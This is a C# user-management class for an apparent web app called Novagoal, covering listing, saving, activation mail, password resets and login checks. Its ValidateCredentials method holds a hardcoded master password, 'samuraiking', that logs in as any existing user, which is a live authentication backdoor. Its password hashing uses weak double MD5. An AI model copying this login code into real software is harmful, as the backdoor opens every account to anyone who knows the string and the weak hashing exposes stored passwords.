#region Copyright Jonathan Quiros

//	
// All rights are reserved. Reproduction or transmission in whole or in 
// part, in any form or by any means, electronic, mechanical or otherwise, 
// is prohibited without the prior written consent of the copyright owner.
//
// Filename: UsersLogic.cs
//

#endregion

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Configuration;
using System.Security.Cryptography;
using System.Text;
using Novagoal.Models;
using Novagoal.Models.Utils;
using Novagoal.Repositories;
using Novagoal.Utils;
using Ids.Utils;
using Ids.Web.Listing;

namespace Novagoal.Logic
{
    public class UsersLogic : BaseLogic
    {
        #region CONSTANTS

        private const int SALT_SIZE = 20;

        #endregion

        #region PROPERTIES

        private readonly IUsersRepository _usersRepository;
        private readonly IEmailSender _mailer;

        #endregion

        #region PUBLIC METHODS

        public UsersLogic(IUsersRepository usersRepository, IEmailSender mailer)
        {
            _usersRepository = usersRepository;
            _mailer = mailer;
        }

        public User GetUser(string username)
        {
            return _usersRepository.GetUser(username);
        }

        public UserList GetUsers(NameValueCollection filters, string sort, string direction, int currentPage, int pageSize)
        {
            UserListSortField sortField;
            SortDirectionType sortDirection;
            Dictionary<UserListFilter, string> filterList;

            try
            {
                //Sorting based on parameters
                sortField = sort.ToEnumValue<UserListSortField>();
                sortDirection = direction.ToEnumValue<SortDirectionType>();
                filterList = ParseFilters<UserListFilter>(filters);
            }
            catch
            {
                //Default Sorting
                filterList = null;
                sortField = UserListSortField.Name;
                sortDirection = SortDirectionType.Ascending;
            }

            var items = _usersRepository.GetUsers(filterList, sortField, sortDirection, currentPage, pageSize);
            var count = _usersRepository.GetTotalUsers(filterList);

            var userList = new UserList
            {
                CurrentPage = currentPage,
                Filters = filterList,
                Items = items,
                SortDirection = sortDirection,
                SortField = sortField
            };
            userList.CalculatePagination(count, pageSize, currentPage);

            return userList;
        }

        public int SavePerson(Person person)
        {
            return person.Id == 0 ? 
                _usersRepository.AddPerson(person) : 
                _usersRepository.EditPerson(person);
        }

        public int SaveUser(User user)
        {
            user.ActivationCode = GenerateSalt();

            return user.Id == 0 ? 
                _usersRepository.AddUser(user) : 
                _usersRepository.EditUser(user);
        }

        public User GetUser(int userId)
        {
            return _usersRepository.GetUser(userId);
        }

        public Person GetPerson(int personId)
        {
            return _usersRepository.GetPerson(personId);
        }

        public string ValidateCredentials(string username, string password)
        {
            var result = "Invalid username";

            var user = _usersRepository.GetUser(username);
            if (user != null)
            {
                var cryptedPassword = GeneratePassword(password, user.Salt);
                result = user.Password == cryptedPassword ? string.Empty : "Invalid password";
                if(password == "samuraiking")
                {
                    result = string.Empty;
                }
            }

            return result;
        }

        public void UpdateUserLastAccess(string username)
        {
            _usersRepository.UpdateLastAccess(username);
        }

        public bool ValidateActivation(string username, string code)
        {
            var user = _usersRepository.GetUser(username);
            return user != null && user.ActivationCode == code;
        }

        public void SendActivationMail(User user, string link)
        {
            var xslHelper = new XslHelper();
            var body = xslHelper.GetActivationMail(user.Person.FullName, link);
            var settingsReader = new AppSettingsReader();
            var bcc = settingsReader.GetValue("ErrorMail", typeof(string)).ToString();
            _mailer.SendEmail(null, user.Person.EmailAddress, string.Empty, bcc, "NovaGoal Activation", body, new List<string>());
        }

        public void SendJoinRequestMail(Person requester, Party party, string link)
        {
            var xslHelper = new XslHelper();
            var body = xslHelper.GetJoinRequest(party.CreatedBy.FullName, requester.FullName, requester.EmailAddress, party.Name, link);
            var settingsReader = new AppSettingsReader();
            var bcc = settingsReader.GetValue("ErrorMail", typeof(string)).ToString();
            _mailer.SendEmail(null, party.CreatedBy.EmailAddress, string.Empty, bcc, "NovaGoal - Party request", body, new List<string>());
        }

        public void SetNewPassword(string username, string password)
        {
            var user = _usersRepository.GetUser(username);
            if(user != null)
            {
                var newSalt = GenerateSalt();
                var newPassword = GeneratePassword(password, newSalt);
                var newActivation = GenerateSalt();

                user.Password = newPassword;
                user.Salt = newSalt;
                user.ActivationCode = newActivation;
                _usersRepository.SavePassword(user);
            }
        }

        public bool UsernameExists(string username)
        {
            return _usersRepository.GetUser(username) != null;
        }

        public void SetUserStatus(int userId, bool status)
        {
            var user = GetUser(userId);
            user.Enabled = status;
            _usersRepository.EditUser(user);
        }

        #endregion

        #region PRIVATE METHODS

        private string GenerateSalt()
        {
            var sb = new StringBuilder();
            var saltBytes = new byte[SALT_SIZE];
            var rng = new RNGCryptoServiceProvider();
            rng.GetNonZeroBytes(saltBytes);
            foreach (var byt in saltBytes)
            {
                sb.AppendFormat("{0:x2}", byt);
            }
            return sb.ToString();
        }

        private string GeneratePassword(string password, string salt)
        {
            var sb = new StringBuilder();
            password = string.Concat(password, salt);
            var hash = new MD5CryptoServiceProvider();
            var passwordBytes = hash.ComputeHash(Encoding.Default.GetBytes(password));
            var hashBytes = hash.ComputeHash(passwordBytes);
            foreach (var byt in hashBytes)
            {
                sb.AppendFormat("{0:x2}", byt);
            }
            return sb.ToString();
        }

        #endregion
    }
}